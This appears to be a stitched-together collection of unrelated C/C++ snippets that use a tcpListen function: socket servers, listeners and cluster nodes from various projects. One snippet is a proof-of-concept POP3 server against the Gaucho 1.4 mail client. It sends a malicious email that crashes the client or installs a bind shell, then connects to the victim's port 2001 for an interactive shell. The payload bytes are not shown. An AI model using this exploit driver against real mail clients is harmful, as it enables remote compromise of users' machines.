int Socket::init()
{
struct sockaddr_in servaddr;
int optval = 1;
sockfd = tcpSocket(AF_INET, SOCK_STREAM, 0);
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
// Eliminates "Address already in use" error from bind
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR,
(const void *)&optval, sizeof(int)) < 0)
Error::sys("setsockopt");
if (socktype == SRV_SOCKET){
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
tcpBind(sockfd, (SA *) &servaddr, sizeof(servaddr));
tcpListen(sockfd, LISTENQ);
} else if (socktype == CLI_SOCKET){
if (inet_pton(AF_INET, host, &servaddr.sin_addr) < 0)
Error::quit("inet_pton error for %s", host);
tcpConnect(sockfd, (SA *)&servaddr, sizeof(servaddr));
} else {
Error::quit("Unkown SockType");
}
/* For client, this sockfd is connfd,
* for server, this sockfd is listenfd. */
return sockfd;
}
error_t socketListen(Socket *socket, uint_t backlog)
{
#if (TCP_SUPPORT == ENABLED)
error_t error;
//Make sure the socket handle is valid
if(!socket)
return ERROR_INVALID_PARAMETER;
//This function shall be used with connection-oriented socket types
if(socket->type != SOCKET_TYPE_STREAM)
return ERROR_INVALID_SOCKET;
//Enter critical section
osAcquireMutex(&socketMutex);
//Start listening for an incoming connection
error = tcpListen(socket, backlog);
//Leave critical section
osReleaseMutex(&socketMutex);
//Return status code
return error;
#else
return ERROR_NOT_IMPLEMENTED;
#endif
}
int main(int argc, char *argv[]) {
int i, srvSock, cliSock, *tNum;
if (argc < 3)
exitError("Usage: pre-threaded <port#> <thread#>\n", 1);
srvSock = tcpListen(argv[1]);
nThreads = atoi(argv[2]);
threads = calloc(nThreads,sizeof(Thread));
for (i = 0; i < nThreads; i++) {
tNum = malloc(sizeof(int));
*tNum = i;
if (pthread_create(&threads[0].tid, NULL, &thread_start, (void *) tNum))
exitError("ERROR: pthread_create", 1);
}
signal(SIGINT, sig_int);
cliGet = cliPut = 0;
while(1){
cliSock = accept(srvSock, NULL,NULL);
if(cliSock==-1)
exitError("ERROR: could not accept new connection on socket",1);
pthread_mutex_lock(&cliMutex);
cliSocks[cliPut] = cliSock;
if (++cliPut == MAX_CLI)
cliPut = 0;
if (cliPut == cliGet)
exitError("ERROR: cliPut = cliGet = %d", cliPut);
pthread_cond_signal(&cliCond);
pthread_mutex_unlock(&cliMutex);
}
}
int LogServerSink::startServer(unsigned short port) {
m_listensd = tcpListen(port);
if (m_listensd < 0) return -1;
/* Ignore SIGPIPE */
signal(SIGPIPE, SIG_IGN);
return 0;
}
SOCKET WSocket::tcpListenEx(int family, WORD port, int backlog)
{
if((family == AF_INET || family == AF_INET6))
{
SOCKADDR_STORAGE sockAddr;
Mem::_zero(&sockAddr, sizeof(SOCKADDR_STORAGE));
sockAddr.ss_family = family;
((SOCKADDR_IN *)&sockAddr)->sin_port = SWAP_WORD(port);
return tcpListen(&sockAddr, backlog);
}
return INVALID_SOCKET;
}
/*
* Open a listen socket on port <port>, address <host> and return its file descriptor. If <port> <=
* 0, a random port will be opened (find out which using netLocalPort() on the returned file
* descriptor). If <host> is NULL, the socket will listen on all interfaces. Connection requests
* will be accepted automatically. Data coming in on the resulting socket will be reported via the
* callback installed using nsOnSocket().
*/
int nsListen(NS *ns, const char *host, int port)
{
int listen_fd;
if ((listen_fd = tcpListen(host, port)) < 0) {
return -1;
}
disOnData(&ns->dis, listen_fd, ns_accept_connection, NULL);
return listen_fd;
}
int process_clsr_init(){
int ret;
int mtu_size;
char ipbuf[128];
int v1,v2;
//クライアントからの接続受付
l_server_fd=tcpListen(G_NodeTbl[0].svr_ip, G_ConfTbl->network_port_clt);
if ( l_server_fd < 0 ){
logPrint(DEBUG_ERROR,"client connector listen(%s:%d) fd=%d",
utlDisplyIP((u_char*)&G_NodeTbl[0].svr_ip,ipbuf),
G_ConfTbl->network_port_clt, l_server_fd);
exit(1);
}
logPrint(DEBUG_INFO,"client connector listen(%s:%d) fd=%d",
utlDisplyIP((u_char*)&G_NodeTbl[0].svr_ip,ipbuf),
G_ConfTbl->network_port_clt, l_server_fd);
//MTUサイズ取得
mtu_size=tcpGetMTU(l_server_fd, G_ConfTbl->network_if_clt);
if ( mtu_size < 0 ){
logPrint(DEBUG_WARNING,"tcpGetMTU(%d,%s)=%d",l_server_fd, G_ConfTbl->network_if_clt, mtu_size);
//exit(1);
}else{
G_NodeTbl[0].clt_mtu=mtu_size;
logPrint(DEBUG_DEBUG,"tcpGetMTU(%d,%s)=%d", l_server_fd, G_ConfTbl->network_if_clt, mtu_size);
}
//送受信バッファ数
ret=tcpGetBuffSize(l_server_fd, &v1, &v2);
logPrint(DEBUG_DEBUG,"tcpGetBuffSize(%d,%d,%d)=%d", l_server_fd, v1, v2,ret);
//送受信バッファ設定
ret=tcpSetBuffSize(l_server_fd, G_ConfTbl->so_sndbuf, G_ConfTbl->so_rcvbuf);
if ( ret < 0 ){
logPrint(DEBUG_ERROR,"tcpSetBuffSize(%d,%d,%d)=%d",
l_server_fd, G_ConfTbl->so_sndbuf, G_ConfTbl->so_rcvbuf, ret);
exit(1);
}
logPrint(DEBUG_DEBUG,"tcpSetBuffSize(%d,%d,%d)=%d",
l_server_fd, G_ConfTbl->so_sndbuf, G_ConfTbl->so_rcvbuf, ret);
//送受信バッファ数
ret=tcpGetBuffSize(l_server_fd, &v1, &v2);
logPrint(DEBUG_DEBUG,"tcpGetBuffSize(%d,%d,%d)=%d",
l_server_fd, v1, v2,ret);
return 0;
}
SOCKET WSocket::tcpListenRandom(int family, int backlog, WORD portMin, WORD portMax)
{
if((family == AF_INET || family == AF_INET6) && portMin < portMax)
{
SOCKADDR_STORAGE sockAddr;
Mem::_zero(&sockAddr, sizeof(SOCKADDR_STORAGE));
sockAddr.ss_family = family;
for(int i = portMax; i > 0; i--)
{
register WORD port = portMin + (Crypt::mtRand() % (portMax - portMin + 1));
((SOCKADDR_IN *)&sockAddr)->sin_port = SWAP_WORD(port);
SOCKET s = tcpListen(&sockAddr, backlog);
if(s != INVALID_SOCKET)return s;
}
}
return INVALID_SOCKET;
}
int main(int argc, char *argv[]) {
int cliSock;
if (argc < 2)
exitError("ERROR: port number not provided\n",1);
srvSock = tcpListen(argv[1]);
signal(SIGINT, sig_int);
while (1) {
cliSock = accept(srvSock, NULL, NULL);
if (cliSock == -1)
exitError("ERROR: could not accept incoming connection\n", 1);
handleHttpRequest(cliSock);
closeWriteSock(cliSock);
}
}
void start(Server* server)
{
assert(server != NULL);
server->sockfd = tcpListen(server->port);
assert(server->sockfd >= 0);
getLocalAddr(server->sockfd, server->hostport, sizeof(server->hostport));
#ifdef DEBUG
printf("start server at: %s\n", server->hostport);
#endif
server->acceptor = newEvent(server->sockfd, EV_READ, onAccept, NULL,
server, server->loop);
assert(server->acceptor != NULL);
eventLoopAdd(server->loop, server->acceptor);
eventLoopDispatch(server->loop);
}
/*
* Create a tcp server. if bindaddr is NULL, bind any address
*/
int createTcpServer(char *err, int port, char *bindaddr) {
int s;
struct sockaddr_in sa;
s = createSocket(err, PF_INET);
if (s == -1) {
return -1;
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = PF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
if (bindaddr && (inet_aton(bindaddr, &sa.sin_addr) == 0)) {
setError(err, "invalid bind address");
close(s);
return -1;
}
if (tcpListen(err, s, (struct sockaddr*)&sa, sizeof(sa)) == -1) {
return -1;
}
return s;
}
int main(int argc, char* argv[])
{
printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
if(argc != 2)
{
printUsage(argv[0]);
return 1;
}
int mode = atoi(argv[1]);
if(mode != 1 && mode != 2)
{
printf("\nINVALID MODE!\n");
printUsage(argv[0]);
return 1;
}
if(!tcpInit())
{
printf("Cannot start Winsock!\n");
return 1;
}
SOCKET s = tcpListen(110);
if(s == INVALID_SOCKET)
{
printf("Cannot create listening socket!\n");
return 1;
}
printf("Listening on POP3 port 110...\n");
struct sockaddr_in sin;
int sin_size = sizeof(sin);
SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
char buffer[1024];
int recvSize;
if(client != INVALID_SOCKET)
{
// POP3 banner
send(client, OK_MSG, strlen(OK_MSG), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
// OK to USER
send(client, OK_MSG, strlen(OK_MSG), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
// OK to PASS
send(client, OK_MSG, strlen(OK_MSG), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
// REPLY to STAT
send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
// REPLY to UIDL
genUIDLreply(UIDL_REPLY);
send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
// REPLY to LIST
send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
if(mode == 1)
{
// send malicious email
send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);
printf("POC crash email sent...\n");
recvSize = recv(client, buffer, sizeof(buffer), 0);
if(recvSize <= 0)
return 1;
fwrite(buffer, recvSize, 1, stdout);
}
else
{
// send malicious email
send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
printf("Bindshell email sent. Sleeping for 2 seconds...\n");
Sleep(2000);
//================================= Connect to the target ==============================
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
{
printf("Invalid socket return in socket() call.\n");
WSACleanup();
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2001);
if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
closesocket(sock);
WSACleanup();
return -1;
}
printf("\n");
shell(sock);
}
}
return 0;
}
int main(int argc, char **argv)
{
int listenfd, connfd, n;
EL *el;
CF *conf;
char *opName[] = {
"Listen",
"ServerPath",
"ClusterManagerName",
"ClusterManagerPort"};
char *ptr;
socklen_t addrlen;
char BUFF[MAXLINE];
struct sockaddr_storage cliaddr;
if (argc > 2)
err_quit("usage: node [path to config file] <--help>\n");
if (argc == 2 && strcmp(argv[1],"--help") != 0)
conf = cfileInit(argv[1],opName);
else if (argc == 1)
conf = cfileInit(DB_CONF,opName);
connfd = tcpConnect(
getOption(conf,"ClusterManagerName"),
getOption(conf,"ClusterManagerPort"));
if (connfd < 0)
err_quit("error for connecting cluster manager.\n");
strcpy(BUFF,"REG ");
getExternalIp(BUFF + 4);
strcat(BUFF,"\r\n");
write(connfd,BUFF,strlen(BUFF));
if ((n = read(connfd,BUFF,MAXLINE)) > 0) {
BUFF[n] = '\0';
if (strcmp(BUFF,"REG ERR\r\n") == 0)
err_quit("error for registering node in cluster");
} else
err_quit("error for registering node in cluster");
close(connfd);
if ((ptr = getOption(conf,"Listen")) != NULL)
listenfd =
tcpListen(getOption(conf,"ServerName"),ptr,&addrlen);
else
err_quit("error for opening listen port.\n");
if ((el = el_open()) == NULL)
err_quit("node error for creating epoll.\n");
el_addFileEvent(el,listenfd,AE_READABLE,sendRequesData,(void *)conf);
el_start(el,AE_BLOCK);
el_close(el);
}